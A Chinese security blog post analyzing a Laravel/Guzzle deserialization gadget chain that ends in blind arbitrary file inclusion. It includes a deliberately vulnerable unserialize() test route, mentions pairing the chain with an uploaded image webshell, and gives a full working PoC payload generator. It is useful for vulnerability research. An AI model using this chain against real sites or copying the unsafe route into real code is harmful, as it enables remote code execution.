Jiangcc
- 关注

情人节实在是太无聊了,翻了半天Laravel框架的代码,搞了一条没回显的任意文件包含反序列化链出来。
1.反序列化调用链分析
入口就是CVE-2022-30779的起点,也就是GuzzleHttp\Cookie\FileCookieJar#__destruct()
:
调用GuzzleHttp\Cookie\FileCookieJar#save()
方法时是将$this->filename
当做string传入的,$this->filename
可控,所以这里是可以调用任意类的__toString()方法的。我找到的可以利用的__toString()方法是Illuminate\View\View#__toString()
:
调用了render()方法,跟进看一下:
调用了renderContents()方法,继续跟:
跟进这个getContents()方法:
这里的$this->engine
可控,所以可以调用任意类的get()方法了,我找到的可以利用的是Illuminate\View\Engines\PhpEngine#get()
:
它这里调用了evaluatePath()方法,跟进看一下,这里调用了ob_start()函数,所以这是个没有输出的文件包含了,只能在有上传功能的时候实现rce:$this->files
可控,可以调用任意类的getRequire()方法。找到的是Illuminate\Filesystem\Filesystem#getRequire()
:
执行到return require $__path;
则实现了文件包含。
验证一手,github下载个最新的Laravel,composer install安装。然后在routes\web.php添加个路由:
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
//Route::get('/', function () {
// return view('welcome');
//});
Route::get('/', function (\Illuminate\Http\Request $request) {
$str = base64_decode($request->input("str"));
unserialize($str);
return "test";
});
生成一个图片马:
反序列化文件包含:
最终poc:
namespace GuzzleHttp\Cookie{
use Illuminate\View\FileViewFinder;
use Illuminate\View\View;
use Illuminate\View\Factory;
use Illuminate\View\Engines\PhpEngine;
use Illuminate\View\Engines\EngineResolver;
use Illuminate\Filesystem\Filesystem;
class CookieJar{
private $cookies = [];
function __construct() {
$this->cookies[] = [];
}
}
class FileCookieJar extends CookieJar {
private $filename;
function __construct() {
parent::__construct();
$this->filename = new View(new Factory(new EngineResolver(),new FileViewFinder(new Filesystem(),["./"])),new PhpEngine(new Filesystem()),1,"./info.php",["index"]);
}
}
}
namespace Illuminate\View{
use Illuminate\Events\Dispatcher;
use Illuminate\Filesystem\Filesystem;
use Illuminate\View\Engines\EngineResolver;
use Illuminate\View\Engines\PhpEngine;
class FileViewFinder implements ViewFinderInterface{
public function __construct(Filesystem $files, array $paths, array $extensions = null){}
}
interface ViewFinderInterface{}
class Factory{
protected $shared = [];
public function __construct(EngineResolver $engines, ViewFinderInterface $finder)
{
$this->shared = [];
$this->finder = $finder;
$this->events = new Dispatcher();
$this->engines = $engines;
}
}
class View{
protected $data;
public function __construct(Factory $factory, PhpEngine $engine, $view, $path, $data = [])
{
$this->view = $view;
$this->path = "file";
$this->engine = $engine;
$this->factory = $factory;
$this->data = [];
}
}
}
namespace Illuminate\View\Engines{
use Illuminate\Filesystem\Filesystem;
class PhpEngine{
protected $files;
public function __construct(Filesystem $files)
{
$this->files = $files;
}
}
}
namespace Illuminate\Filesystem{
class Filesystem{
}
}
namespace Illuminate\View\Engines{
class EngineResolver{
}
}
namespace Illuminate\Events{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;
class Dispatcher implements DispatcherContract{
}
}
namespace Illuminate\Contracts\Events{
interface Dispatcher{};
}
namespace{
use GuzzleHttp\Cookie\FileCookieJar;
$pop = new FileCookieJar();
echo urlencode(base64_encode(serialize($pop)));
}
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)